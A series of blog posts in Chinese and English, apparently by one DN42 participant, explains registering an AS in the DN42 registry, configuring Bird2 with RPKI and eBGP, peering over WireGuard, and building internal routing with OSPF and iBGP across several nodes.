使用可经 OSPF 路由到达的 ULA 地址建立 iBGP，可以让会话在直连 WireGuard 断开时改走其他链路，前提是仍存在可用的替代路径。ULA 地址本身不会自动提供冗余。

最后，在/etc/bird/bird.conf中加入对ibgp.conf的引入:

include "ibgp.conf";

并运行birdc configure应用配置即可。

参考文章：

DN42 - Ep.2 Building Internal Network with OSPF and Enabling iBGP

Tue, 22 Jul 2025 05:46:00 GMT

Foreword

Article Update Log

July 22, 2025: First edition published, using VXLAN over WireGuard tunnel.
July 25, 2025: Updated tunneling solution, using type ptp; to support OSPF traffic via WireGuard (Special thanks to Nuro Trance for the guidance!).
August 8, 2025: Added explanation and configuration for iBGP.
August 27, 2025: Updated node topology diagram.

Why Do We Need Internal Routing?

As the number of nodes increases, we need a proper way to handle internal routing within our AS (Autonomous System). BGP only handles routing to different ASes, which causes a problem: if nodes A and B are both peering with external networks, a request from node A may have its response routed to node B, even though they are part of the same AS. Without internal routing, node A will not receive the reply.

To solve this, we need to ensure that all devices within our AS can communicate with each other. The common solutions are:

Using network tools like ZeroTier: Simple to set up, just install the client on each node for P2P connectivity.
Using P2P tools like WireGuard to manually create $\frac{n(n-1)}{2}$ tunnels, which works like the first solution but becomes cumbersome as nodes grow.
Using WireGuard to establish $\frac{n(n-1)}{2}$ tunnels, then using an internal routing protocol like OSPF or Babel to manage the routing. This is more flexible and easier to scale, but it can be risky and could break the DN42 network due to misconfigurations.

~~Thus, I decided to take the risk.~~

Node Topology

  graph LR
    A[HKG<br>172.20.234.225<br>fd18:3e15:61d0::1]
    B[NKG<br>172.20.234.226<br>fd18:3e15:61d0::2]
    C[TYO<br>172.20.234.227<br>fd18:3e15:61d0::3]
    D[FRA<br>172.20.234.228<br>fd18:3e15:61d0::4]
    E[LAX<br>172.20.234.229<br>fd18:3e15:61d0::5]

    B <--> A
    C <--> A
    A <--> E
    A <--> D
    C <--> D
    C <--> E
    D <--> E

Update Bird2 to v2.16 or Above

To use IPv6 Link-Local addresses to transmit IPv4 OSPF data, Bird v2.16 or later is required. Here are the steps to update:

sudo apt update && sudo apt -y install apt-transport-https ca-certificates wget lsb-release
sudo wget -O /usr/share/keyrings/cznic-labs-pkg.gpg https://pkg.labs.nic.cz/gpg

echo "deb [signed-by=/usr/share/keyrings/cznic-labs-pkg.gpg] https://pkg.labs.nic.cz/bird2 $(lsb_release -sc) main" | sudo tee /etc/apt/sources.list.d/cznic-labs-bird2.list

sudo apt update && sudo apt install bird2 -y

Tunnel Configuration

[Interface]
PrivateKey = <Local WireGuard Private Key>
ListenPort = <Listen Port>
Table = off
Address = <IPv6 LLA>/64
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = <Peer Public Key>
Endpoint = <Peer Public Endpoint>
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8, ff02::5

ff02::5is the OSPFv3 router-specific link-local multicast address and should be included in AllowedIPs.
If you're using Bird versions earlier than v2.16, you'll need to add an IPv4 address for the tunnel as well. See the example below:

WireGuard Configuration Example with IPv4

[Interface]
PrivateKey = <Local WireGuard Private Key>
ListenPort = <Listen Port>
Table = off
Address = <IPv6 LLA>/64
PostUp = ip addr add 100.64.0.225/32 peer 100.64.0.226/32 dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = <Peer Public Key>
Endpoint = <Peer Public Endpoint>
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 100.64.0.0/16, 172.31.0.0/16, fd00::/8, fe00::/8, ff02::5

Please replace 100.64.0.225 and 100.64.0.226 with your local and peer IPv4 addresses, and remember to add AllowedIPs.

Enable OSPF

You should have already configured basic Bird settings as described in the previous article.
Create a new file called ospf.conf under /etc/bird and add the following:

protocol ospf v3 <name> {
    ipv4 {
        import where is_self_net() && source != RTS_BGP;
        export where is_self_net() && source != RTS_BGP;
    };

    include "/etc/bird/ospf/*";
};

protocol ospf v3 <name> {
    ipv6 {
        import where is_self_net_v6() && source != RTS_BGP;
        export where is_self_net_v6() && source != RTS_BGP;
    };

    include "/etc/bird/ospf/*";
};

Theoretically, OSPF v2 should be used for handling IPv4, but since we need to communicate IPv4 using IPv6 Link-Local addresses, we are using OSPF v3 for IPv4 in this case as well.
The filter rules ensure that only routes within the local network segment are allowed to propagate through OSPF, and routes from external BGP protocols are filtered out.
Never use import all; export all; indiscriminately, as this could lead to route hijacking and affect the entire DN42 network. OSPF should only handle internal network routes.

Example

/etc/bird/ospf.conf

protocol ospf v3 dn42_iyoroynet_ospf {
    ipv4 {
        import where is_self_net() && source != RTS_BGP;
        export where is_self_net() && source != RTS_BGP;
    };

    include "/etc/bird/ospf/*";
};

protocol ospf v3 dn42_iyoroynet_ospf6 {
    ipv6 {
        import where is_self_net_v6() && source != RTS_BGP;
        export where is_self_net_v6() && source != RTS_BGP;
    };

    include "/etc/bird/ospf/*";
};

Next, create the /etc/bird/ospf folder and then create an area configuration file (e.g., /etc/bird/ospf/backbone.conf) with the following content:

area 0.0.0.0 {
    interface "<DN42 dummy interface>" { stub; };
    interface "<wg0 interface>" {
        cost 80; # Modify according to your network situation
        type ptp;
    };
    interface "<wg1 interface>" {
        cost 100; # Modify according to your network situation
        type ptp;
    };
    # Continue for other interfaces
};

The 0.0.0.0 area represents the backbone network.
he dummy interface here refers to the DN42 virtual interface mentioned in the previous article
The cost value is typically used for cost calculation but in DN42's case, where bandwidth is less critical but latency is more important, you can directly assign the latency value. OSPF will automatically choose the route with the lowest cost (sum of the cost values).

Example

/etc/bird/ospf/backbone.conf

area 0.0.0.0 {
    interface "dn42" { stub; };
    interface "dn42_hkg" {
        cost 80;
        type ptp;            
    };
    interface "dn42_hfe" {
        cost 150;
        type ptp;
    };
    interface "dn42_lax"{
        cost 100;
        type ptp;
    };
};

Finally, open /etc/bird/bird.conf and add the following to include the OSPF configuration file at the end:

include "ospf.conf";

Run birdc configure, and then birdc show protocols should show the OSPF status as Running. If not, check the configuration steps for errors.

At this point, you should be able to ping between two non-directly connected machines:

Enable iBGP

Before establishing multiple peer connections, each of your nodes must first have complete knowledge of the internal AS topology. This involves configuring another key component: internal BGP (iBGP).

Necessity of iBGP

iBGP ensures that all routers within the AS have complete knowledge of external destination routes. It ensures that:

Internal routers can select the best exit path.
Traffic is correctly routed to the boundary routers responsible for specific external networks.
Even if there are multiple boundary routers connected to the same external network, internal routers can choose the best exit based on policies.
Compared to using a default route pointing to the border router within the AS, iBGP provides precise external route information, allowing internal routers to make more intelligent forwarding decisions.

Disadvantages and Solutions

Ordinary iBGP does not readvertise a route learned from one iBGP neighbor to another. Without route reflection, confederations, or a similar mechanism, this requires a full mesh of iBGP sessions. For n nodes, that is $\frac{n(n-1)}{2}$ sessions ~~although configuring them is still easier than configuring tunnels once OSPF is set up~~.
Solutions include:

Using a Route Reflector (RR) to reflect iBGP routes and reduce the number of sessions. A single RR introduces a failure risk, but multiple RRs can provide redundancy; the impact of an outage also depends on topology and route retention.
Using BGP Confederation: This involves virtually dividing the routers within the AS into sub-ASes, treating the connections between routers as eBGP, and finally stripping the internal AS path information when advertising routes externally.

I haven't tried the latter two solutions. Here are some potentially useful reference articles. This article focuses on the configuration of iBGP.

Writing the iBGP Configuration File

Create a new file ibgp.conf in /etc/bird and fill it with the following content:

template bgp ibgpeers {
    local as OWNAS;
    ipv4 {
        import where source = RTS_BGP && is_valid_network() && !is_self_net();
        export where source = RTS_BGP && is_valid_network() && !is_self_net();
        next hop self;
        extended next hop;
    };
    ipv6 {
        import where source = RTS_BGP && is_valid_network_v6() && !is_self_net_v6();
        export where source = RTS_BGP && is_valid_network_v6() && !is_self_net_v6();
        next hop self;
    };
};

include "ibgp/*";

The import and export filters ensure that iBGP only processes routes learned via the BGP protocol and filters out IGP routes to prevent loops.
This topology does not distribute external neighbors' addresses internally, so it needs next hop self to make the border router the next hop reachable through the IGP. It is not mandatory in every iBGP deployment; the requirement is that the next hop can be resolved and reached.
Because I want to use IPv6 addresses to establish MP-BGP and route IPv4 over IPv6, extended next hop is enabled for IPv4.

Next, create the /etc/bird/ibgp directory. Inside, create an iBGP Peer configuration file for each node:

protocol bgp 'dn42_ibgp_<Node Name>' from ibgpeers{
    neighbor <Corresponding Node's IPv6 ULA Address> as OWNAS;
};

Example

/etc/bird/ibgp/hkg.conf:

protocol bgp 'dn42_ibgp_HKG' from ibgpeers{
    neighbor fd18:3e15:61d0::1 as OWNAS;
};

Note:

Each node needs to establish (n-1) iBGP connections, ensuring connectivity with all other machines within the AS. This is why ULA addresses are used.
Using ULA addresses reachable through OSPF allows iBGP to use another path if the direct WireGuard link fails, provided an alternative path remains available. ULA addressing alone does not provide redundancy.

Finally, add the inclusion of ibgp.conf in /etc/bird/bird.conf:

include "ibgp.conf";

And run birdc configure to apply the configuration.

References:

DN42探究日记 - Ep.1 加入DN42网络

Sat, 28 Jun 2025 13:19:00 GMT

写在前面

欢迎与我建立对等连接！详情请查看：iYoRoy DN42 Network

想研究BGP，奈何租一个ASN和IP段实在是太贵了，又怕自己因为配置错误干掉半个互联网，因此决定研究一下DN42这个虚拟的网络。DN42是个大型去中心化网络，使用BGP协议建立路由，和当今互联网的结构很相像，因此适合用于BGP等网络技术学习。在DN42中，每个人都将扮演ISP（网络服务提供商）的角色，和其他用户Peer，以加入并参与建设整个DN42网络。DN42运行在172.20.0.0/14和fd00::/8上，这两个地址都是内网地址，因此不会影响到正常的互联网。

注册

你需要会使用基础的git指令、GPG、Linux，并且最好启用GPG签名Commit。
有Git使用基础的话可以参考我的commit：Add AS4242422024 · d1f9046ecb - registry - dn42 git

Fork并克隆DN42注册表Git仓库

在dn42 git注册一个账号，并且Fork dn42/registry仓库。Clone下Fork出来的仓库并进入。

注册联系人

在data/person下创建文件<昵称>-DN42，填入如下内容：

person:             <姓名>
e-mail:             <邮箱>
pgp-fingerprint:    <GPG密钥指纹>
nic-hdl:            <NIC 句柄>
mnt-by:             <维护者>
source:             DN42

person: 名称
e-mail: 邮箱
pgp-fingerprint: GPG密钥指纹，会被用于一些认证服务
nic-hdl: NIC句柄，指向文件本身，直接填写当前文件名即可
mnt-by: 由谁维护，指向下文注册维护者一节中的维护者信息
source: 来源，保持DN42即可
www: 可选，可填网页地址

示例

data/person/IYOROY-DN42 @ dn42/registry@master

person:             Kagura iYoRoy
e-mail:             i@iyoroy.cn
www:                https://www.iyoroy.cn
pgp-fingerprint:    3ECCFFDEC2CB4CB8DA8089BE9AF2F2E03CE8FD67
nic-hdl:            IYOROY-DN42
mnt-by:             IYOROY-MNT
source:             DN42

注册维护者

创建文件data/mntner/<昵称>-MNT，并填入如下内容：

mntner:             <昵称>-MNT
admin-c:            <联系人>
tech-c:             <联系人>
auth:               <验证方式>
mnt-by:             <维护者>
source:             DN42

mntner: 维护者名称，一般与文件名相同即可
admin-c: 管理员联系信息，指向person文件夹中的文件，这里填上文注册联系人一节里的文件名即可
tech-c: 技术人员联系信息，指向person文件夹中的文件，这里填上文注册联系人一节里的文件名即可
auth: 验证方式，支持pgp或者ssh-key
mnt-by: 由谁维护，一般指向文件名本身即可
source: 来源，保持DN42即可

示例

data/mntner/IYOROY-MNT @ dn42/registry@master

mntner:             IYOROY-MNT
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
auth:               pgp-fingerprint 3ECCFFDEC2CB4CB8DA8089BE9AF2F2E03CE8FD67
mnt-by:             IYOROY-MNT
source:             DN42

注册ASN

在公网上，4200000000 - 4294967294为ASN保留范围。DN42使用了4242420000 - 4242429999，而目前开放注册的是4242420000 - 4242423999。官方不建议自己寻找可用ASN，而是推荐使用Burble的DN42 Free ASN Explorer，从中选取可用的ASN注册。
找好心仪的ASN后在data/aut-num创建<ASN，包含AS字母>文件，填写如下内容：

aut-num:            <ASN>
as-name:            <自治系统名称>
descr:              <自治系统描述>
admin-c:            <管理员NIC句柄>
tech-c:             <技术人员NIC句柄>
mnt-by:             <维护者>
source:             DN42

aut-num: 你选择的ASN，包含AS前缀。应该是AS424242xxxx的样式
as-name: 自治系统名称
descr: 自治系统描述，可以有空格
admin-c: 管理员联系信息，指向person文件夹中的文件，这里填上文注册联系人一节里的文件名即可
tech-c: 技术人员联系信息，指向person文件夹中的文件，这里填上文注册联系人一节里的文件名即可
mnt-by: 由谁维护，指向上文创建维护者一节中的文件名
source: 来源，保持DN42即可

示例

data/aut-num/AS4242422024 @ dn42/registry@master

aut-num:            AS4242422024
as-name:            IYOROYNET-AS-DN42
descr:              iYoRoy DN42 Network
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
source:             DN42

注册IPv4地址块并添加路由

如果你不想要注册IPv4，可以忽略本节 官方提供了一个用于检索可用地址块的工具：DN42 Free IPv4 Explorer 。同样不建议手动指定，而是建议用检索工具检索出来的可用地址块。
DN42同样面临IPv4地址短缺，所以请尽量按需注册。一般而言，一个/27地址块包含30个IPv4地址就够用了，如果是小型网络可以申请/28（14个可用地址）和/29（6个可用地址）。能直接申请的地址块最大是/26，也就是62个地址，若申请/25、/24则需要提交申请然后等待审核。详情可参考：DN42 实验网络介绍及注册教程（2022-12 更新） - Lan Tian @ Blog

选定你的IPv4地址块，然后在data/inetnum创建一个文件，命名为IPv4地址块的CIDR格式，并使用_代替/（如：我申请的IPv4地址块为172.20.234.224/28，则文件名为172.20.234.224_28），填入内容：

inetnum:            <IPv4地址块第一个地址> - <IPv4地址块最后一个地址>
cidr:               <IPv4地址块CIDR格式>
netname:            <IPv4地址块名称>
descr:              <IPv4地址块描述>
country:            <IPv4地址块所属国家代码>
admin-c:            <管理员NIC句柄>
tech-c:             <技术人员NIC句柄>
mnt-by:             <维护者>
status:             ASSIGNED
source:             DN42

inetnum: IPv4地址范围，从第一个地址到最后一个地址，中间用-连接
cidr: IPv4地址块CIDR格式，不需要用_代替/
netname: IPv4地址块名称，自行填写即可，无特殊要求
descr: IPv4地址块描述，中间可以有空格
country: ISO 3166中的两字符国家代码，中国就填CN
admin-c: 管理员联系信息，指向person文件夹中的文件，这里填上文注册联系人一节里的文件名即可
tech-c: 技术人员联系信息，指向person文件夹中的文件，这里填上文注册联系人一节里的文件名即可
mnt-by: 由谁维护，指向上文创建维护者一节中的文件名
status: 状态，保存ASSIGNED即可
source: 来源，保持DN42即可

示例

data/inetnum/172.20.234.224_28 @ dn42/registry@master

inetnum:            172.20.234.224 - 172.20.234.239
cidr:               172.20.234.224/28
netname:            IYOROYNET-DN42-V4
descr:              iYoRoy DN42 Network IPv4 Block
country:            CN
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
status:             ASSIGNED
source:             DN42

接着，在data/route下同样创建一个名为IPv4地址块的 CIDR 格式，并使用_代替/的文件，填入内容：

route:              <IPv4地址CIDR格式>
origin:             <ASN>
max-length:         <IPv4掩码>
mnt-by:             <维护者>
source:             DN42

route: IPv4地址块，填写CIDR格式，无需转换/
origin: ASN，需要带AS
max-lenth: 前缀长度（Prefix Length），即CIDR格式中/后面的数字
mnt-by: 由谁维护，指向上文创建维护者一节中的文件名
source: 来源，保持DN42即可

示例

data/route/172.20.234.224_28 @ dn42/registry@master

route:              172.20.234.224/28
origin:             AS4242422024
max-length:         28
mnt-by:             IYOROY-MNT
source:             DN42

注册IPv6地址块并添加路由

如果你不想要注册IPv6，可以忽略本节 同样使用官方工具检索可用IPv6：DN42 Free IPv6 Explorer 。选定地址块后在data/inet6num下创建名为IPv6地址块的CIDR格式，并使用_代替/的文件（如：我的IPv6地址块为fd18:3e15:61d0::/48，则文件名fd18:3e15:61d0::_48），填入内容：

inet6num:           <IPv6地址块第一个地址> - <IPv6地址块最后一个地址>
cidr:               <IPv6地址块CIDR格式>
netname:            <IPv6地址块名称>
descr:              <IPv6地址块描述>
country:            <IPv6地址块所属国家代码>
admin-c:            <管理员NIC句柄>
tech-c:             <技术人员NIC句柄>
mnt-by:             <维护者>
status:             ASSIGNED
source:             DN42

inet6num: IPv6地址范围，从第一个地址到最后一个地址，不可使用::简写，中间用-连接。也就是说，比如我的地址块是fd18:3e15:61d0::/48，我需要填入fd18:3e15:61d0:0000:0000:0000:0000:0000 - fd18:3e15:61d0:ffff:ffff:ffff:ffff:ffff。
cidr: IPv6地址块CIDR格式，不需要用_代替/
netname: IPv6地址块名称，自行填写即可，无特殊要求
descr: IPv6地址块描述，中间可以有空格
country: ISO 3166中的两字符国家代码，中国就填CN
admin-c: 管理员联系信息，指向person文件夹中的文件，这里填上文注册联系人一节里的文件名即可
tech-c: 技术人员联系信息，指向person文件夹中的文件，这里填上文注册联系人一节里的文件名即可
mnt-by: 由谁维护，指向上文创建维护者一节中的文件名
status: 状态，保存ASSIGNED即可
source: 来源，保持DN42即可

示例

data/inet6num/fd18:3e15:61d0::_48 @ dn42/registry@master

inet6num:           fd18:3e15:61d0:0000:0000:0000:0000:0000 - fd18:3e15:61d0:ffff:ffff:ffff:ffff:ffff
cidr:               fd18:3e15:61d0::/48
netname:            IYOROYNET-DN42-V6
descr:              iYoRoy DN42 Network IPv6 Block
country:            CN
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
status:             ASSIGNED
source:             DN42

接着，在data/route6下同样创建一个名为IPv6地址块的 CIDR 格式，并使用_代替/的文件，填入内容：

route6:             <IPv6地址CIDR格式>
origin:             <ASN>
max-length:         <IPv6掩码>
mnt-by:             <维护者>
source:             DN42

route6: IPv6地址块，填写CIDR格式，无需转换/
origin: ASN，需要带AS
max-lenth: 前缀长度（Prefix Length），即CIDR格式中/后面的数字
mnt-by: 由谁维护，指向上文创建维护者一节中的文件名
source: 来源，保持DN42即可

示例

data/route6/fd18:3e15:61d0::_48 @ dn42/registry@master

route6:             fd18:3e15:61d0::/48
origin:             AS4242422024
max-length:         48
mnt-by:             IYOROY-MNT
source:             DN42

创建并上传commit，提交PR

最好使用GPG签名你的commit并且在dn42 git里上传你的公钥

填完上述信息，回到仓库根目录下，运行脚本./fmt-my-stuff <维护者>自动格式化配置文件。注意：此处<维护者>是上文注册维护者章节中的mntner的值。接着按照正常git commit流程git add data/、git commit -S -m "<commit-msg>"创建commit，git push origin master推送，接着，来到dn42 git网页端，打开你Fork的仓库并提交Pull Request即可。
如果配置有问题，自动审查机器人和管理员会告知你，请耐心按照要求修改并且合并到原来的commit中，不要新开commit，推荐add后使用git commit --amend指令。修改完直接强制推送（git push origin master --force） 即可。

DN42 Registry 的工作语言是英语。请使用英语完成全部流程，以免出现不必要的麻烦。

配置Bird

首先安装bird，以Ubuntu22.04为例：

apt install bird2 -y

如果要一并安装后续使用的WireGuard，就再加上wireguard、wireguard-tools软件包：

apt install bird2 wireguard wireguard-tools -y

编写配置文件

bird.conf

修改/etc/bird/bird.conf：

define OWNAS       = <AS 号>;
define OWNIP       = <DN42 IPv4 地址>;
define OWNIPv6     = <DN42 IPv6 地址>;
define OWNNET      = <DN42 IPv4 地址块, CIDR 格式>;
define OWNNETv6    = <DN42 IPv6 地址块, CIDR 格式>;
define OWNNETSET   = [ <DN42 IPv4 地址块, CIDR 格式>+ ];
define OWNNETSETv6 = [ <DN42 IPv6 地址块, CIDR 格式>+ ];

router id OWNIP;

protocol device {
    scan time 10;
}

function is_self_net() {
    return net ~ OWNNETSET;
}

function is_self_net_v6() {
    return net ~ OWNNETSETv6;
}

function is_valid_network() {
    return net ~ [
        172.20.0.0/14{21,29}, # dn42
        172.20.0.0/24{28,32}, # dn42 Anycast
        172.21.0.0/24{28,32}, # dn42 Anycast
        172.22.0.0/24{28,32}, # dn42 Anycast
        172.23.0.0/24{28,32}, # dn42 Anycast
        172.31.0.0/16+,       # ChaosVPN
        10.100.0.0/14+,       # ChaosVPN
        10.127.0.0/16{16,32}, # neonetwork
        10.0.0.0/8{15,24}     # Freifunk.net
    ];
}

function is_valid_network_v6() {
  return net ~ [
    fd00::/8{44,64} # ULA address space as per RFC 4193
  ];
}

protocol kernel {
    scan time 20;

    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIPv6;
            accept;
        };
    };
};

protocol kernel {
    scan time 20;

    ipv4 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIP;
            accept;
        };
    };
}

protocol static {
    route OWNNET reject;

    ipv4 {
        import all;
        export none;
    };
}

protocol static {
    route OWNNETv6 reject;

    ipv6 {
        import all;
        export none;
    };
}

include "rpki.conf";
include "ebgp.conf";

此处OWNIP和OWNIPV6参数意为本机的DN42 IPv4和IPv6地址，不是地址块的地址，比如我申请到的地址段是172.20.234.224/28，我给A机器分配了172.20.234.225，则OWNIP为172.20.234.225，IPv6同理。

rpki.conf

你可能在其他教程里看到过使用定时任务+重载Bird的更新ROA方案，此处配置RPKI则是另一种配置ROA的方式。

创建/etc/bird/rpki.conf，填写如下内容：

roa4 table dn42_roa;
roa6 table dn42_roa_v6;

protocol rpki dn42_rpki_akix {
    roa4 { table dn42_roa; };
    roa6 { table dn42_roa_v6; };
    remote "<rpki服务器地址>" port 8082; # change it
    refresh 30;
    retry 5;
    expire 600;
}

RPKI服务器可以使用我朋友的AkaereIX提供的服务：rpki.akae.re

样例

roa4 table dn42_roa;
roa6 table dn42_roa_v6;

protocol rpki dn42_rpki_akix {
    roa4 { table dn42_roa; };
    roa6 { table dn42_roa_v6; };
    remote "rpki.akae.re" port 8082;
    refresh 30;
    retry 5;
    expire 600;
}

ebgp.conf

创建/etc/bird/ebgp.conf，填入如下内容：

template bgp dnpeers {
    local as OWNAS;
    path metric 1;

    ipv4 {
        import filter {
            if is_valid_network() && !is_self_net() then {
                if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then {
                    print "[dn42] ROA check failed for ", net, " ASN ", bgp_path.last;
                    reject;
                }
                accept;
            }
            reject;
        };

        export filter {
            if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
        import limit 1000 action block;
    };

    ipv6 {
        import filter {
            if is_valid_network_v6() && !is_self_net_v6() then {
                if (roa_check(dn42_roa_v6, net, bgp_path.last) != ROA_VALID) then {
                    print "[dn42] ROA check failed for ", net, " ASN ", bgp_path.last;
                    reject;
                }
                accept;
            }
            reject;
        };
        export filter {
            if is_valid_network_v6() && source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
        import limit 1000 action block;
    };
}


include "peers/*";

此配置项定义了DN42内部互相peer的模板，并且引用/etc/bird/peers下的所有配置文件，之后我们peer的时候就只需要在这里按照模板创建配置文件并编写即可。

创建/etc/bird/peers文件夹用作后续peer。

系统配置

内核

因为每个节点都可能会作为其他节点的路由器使用，因此需要打开Linux内核数据包转发；同时因为使用了WireGuard，并不是通过物理网卡转发，因此需要关闭rp_filter严格模式。

echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
echo "net.ipv6.conf.default.forwarding=1" >> /etc/sysctl.conf
echo "net.ipv6.conf.all.forwarding=1" >> /etc/sysctl.conf
echo "net.ipv4.conf.default.rp_filter=0" >> /etc/sysctl.conf
echo "net.ipv4.conf.all.rp_filter=0" >> /etc/sysctl.conf
sysctl -p

DN42虚拟网卡

因为MP-BGP通常使用LLA地址建立BGP，因此我们需要在系统里设置一个dummy网卡并绑定我们给这台机器分配的DN42 IP。运行以下指令：

ip link add dn42 type dummy
ip addr add <你给这这台机器分配的DN42 IPv4> dev dn42
ip addr add <你给这这台机器分配的DN42 IPv6> dev dn42

如果需要持久化配置，可以参考以下三种方式：

systemd-networkd

tee /etc/systemd/network/10-dn42.netdev > /dev/null <<EOF
[NetDev]
Name=dn42
Kind=dummy
EOF

tee /etc/systemd/network/20-dn42.network > /dev/null <<EOF
[Match]
Name=dn42

[Network]
Address=<你给这台机器分配的DN42 IPv4>/32
Address=<你给这台机器分配的DN42 IPv6>/128
EOF

systemctl enable systemd-networkd
systemctl restart systemd-networkd

netplan

tee /etc/netplan/99-dn42.yaml > /dev/null <<EOF
network:
  version: 2
  renderer: networkd
  ethernets:
    dn42:
      match:
        name: dn42
      addresses:
        - <你给这台机器分配的DN42 IPv4>/32
        - "<你给这台机器分配的DN42 IPv6>/128"
      accept-ra: no
EOF

netplan apply

/etc/network/interfaces

tee -a /etc/network/interfaces > /dev/null <<EOF
auto dn42
iface dn42 inet static
    address <你给这台机器分配的DN42 IPv4>
    netmask 255.255.255.255

iface dn42 inet6 static
    address <你给这台机器分配的DN42 IPv6>/128
EOF

ifup dn42

与其他成员Peer

对新手较友好的应该就是Potat0大佬的自助Peer服务了，详情可参考他的DN42 Network页面。按照指引找到他的自动对等连接机器人，按照要求在机器人上注册你的账号，需要提供你的DN42 ASN、上文注册时Maintainer里记录的邮箱（这也是为什么在注册的时候最好需要填邮箱，很多验证服务都会使用），并且用该邮箱接收验证码，然后按照机器人的要求建立peer即可。以下是我通过Bot建立peer的过程，全程使用Ubuntu22.04系统的香港VPS操作。

安装WireGuard

apt install wireguard wireguard-tools -y

注：现在的软件包管理一般会在安装wireguard的时候自动安装wireguard-tools以使用wg-quick指令。

生成密钥对

wg genkey | tee privatekey | wg pubkey > publickey

记下privatekey、publickey中的内容，代表私钥和公钥

建立Peer

一般而言有两种建立Peer的模式，即使用MP-BGP（Multiprotocol BGP，多协议BGP）和不使用MP-BGP。个人感觉MP-BGP更为常用，因为其配置较为简单。两种配置稍有不同，请根据你的需求参考。

使用MP-BGP

与Peer对方交换信息

你需要提供对方以下信息，同时你也需要知道对方的以下信息：

公钥
公网地址（非DN42地址）
公网WireGuard端口，一般是监听对方ASN的后5位
DN42 ASN
LLA（Link-Local Address）地址，一般而言是fe80::<对方ASN后4位>
是否支持ENH(Extended Next Hop)，注意，若使用v6交换路由而不启用ENH则无法交换v4路由

也有时会将公网地址和公网wg端口放在一起称作Endpoint。

配置WireGuard

在/etc/wireguard下创建一个配置文件，名称随意，但是我的命名习惯是dn42-<对方ASN后4位>.conf，其中dn42-xxxx即为隧道名。往文件内填入如下内容：

[Interface]
PrivateKey = <上文「生成密钥对」章节生成的私钥>
ListenPort = <公网WireGuard监听端口>
Table = off
Address = <你的LLA地址>/64
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = <对方给你的公钥>
Endpoint = <对方的Endpoint，即IP:端口>
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8

编辑完成后保存，运行：

wg-quick up <隧道名>

即可启动wg隧道。使用wg show <隧道名>即可查看连接状态。直接运行wg可查看所有隧道状态

如果需要让隧道开机自启动，可以运行：

systemctl enable wg-quick@<隧道名>

配置Bird2的Peer部分

在/etc/bird/peers下新建文件<名称>.conf，填入如下内容：

protocol bgp <BGP会话名称> from dnpeers{
    neighbor <对方LLA地址> % '<WireGuard隧道名>' as <对方ASN，不带AS前缀>;
};

如果使用使用了Extended next hop（如上图交换信息时协商的），则配置：

protocol bgp <BGP会话名称> from dnpeers{
    neighbor <对方LLA地址> % '<WireGuard隧道名>' as <对方ASN，不带AS前缀>;
    ipv4{
        extended next hop;
    };
};

应用配置

运行birdc configure（或者birdc c，等同）重载Bird配置，然后运行birdc show protocols（或者birdc s p，等同）即可查看当前建立的BGP连接。

root@hkg2-202501092021514df2f0:~# birdc show protocols
BIRD 2.0.12 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     07:24:14.255  
static1    Static     dn42_roa   up     07:24:14.255  
static2    Static     dn42_roa_v6 up     07:24:14.255  
kernel1    Kernel     master6    up     07:24:14.255  
kernel2    Kernel     master4    up     07:24:14.255  
static3    Static     master4    up     07:24:14.255  
static4    Static     master6    up     07:24:14.255  
dn42-0298  BGP        ---        up     08:03:13.347  Established   
dn42-1816  BGP        ---        up     07:53:05.028  Established

不使用MP-BGP

与Peer对方交换信息

你需要提供对方以下信息，同时你也需要知道对方的以下信息：

公钥
公网地址（非DN42地址）
公网WireGuard端口，一般是监听对方ASN的后5位
DN42 ASN
DN42 IP，如果交换IPv4路由则需要IPv4地址，如果交换IPv6路由则需要IPv6地址

也有时会将公网地址和公网wg端口放在一起称作Endpoint。

配置WireGuard

在/etc/wireguard下创建一个配置文件，名称随意，但是我的命名习惯是dn42-<对方ASN后4位>.conf，其中dn42-xxxx即为隧道名。往文件内填入如下内容：

[Interface]
PrivateKey = <上文「生成密钥对」章节生成的私钥>
ListenPort = <公网WireGuard监听端口>
Table = off
PostUp = ip addr add <LLA>/64 dev %i
PostUp = ip addr add <本地DN42 IPv6> dev %i
PostUp = ip addr add <本地DN42 IPv4> peer <对方DN42 IPv4> dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = <对方给你的公钥>
Endpoint = <对方的Endpoint，即IP:端口>
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8

编辑完成后保存，运行：

wg-quick up <隧道名>

即可启动wg隧道。使用wg show <隧道名>即可查看连接状态。直接运行wg可查看所有隧道状态

如果需要让隧道开机自启动，可以运行：

systemctl enable wg-quick@<隧道名>

配置Bird2的Peer部分

在/etc/bird/peers下新建文件<名称>.conf，填入如下内容：

protocol bgp <v4BGP会话名称> from dnpeers{
    neighbor <对方DN42 IPv4地址> as <对方ASN，不带AS前缀>;
    direct;
    ipv6{
        import none;
        export none;
    };
};

protocol bgp <v6BGP会话名称> from dnpeers{
    neighbor <对方DN42 IPv6地址> % '<WireGuard隧道名称>' as <对方ASN，不带AS前缀>;
    direct;
    ipv4{
        import none;
        export none;
    };
};

应用配置

运行birdc configure（或者birdc c，等同）重载Bird配置，然后运行birdc show protocols（或者birdc s p，等同）即可查看当前建立的BGP连接。

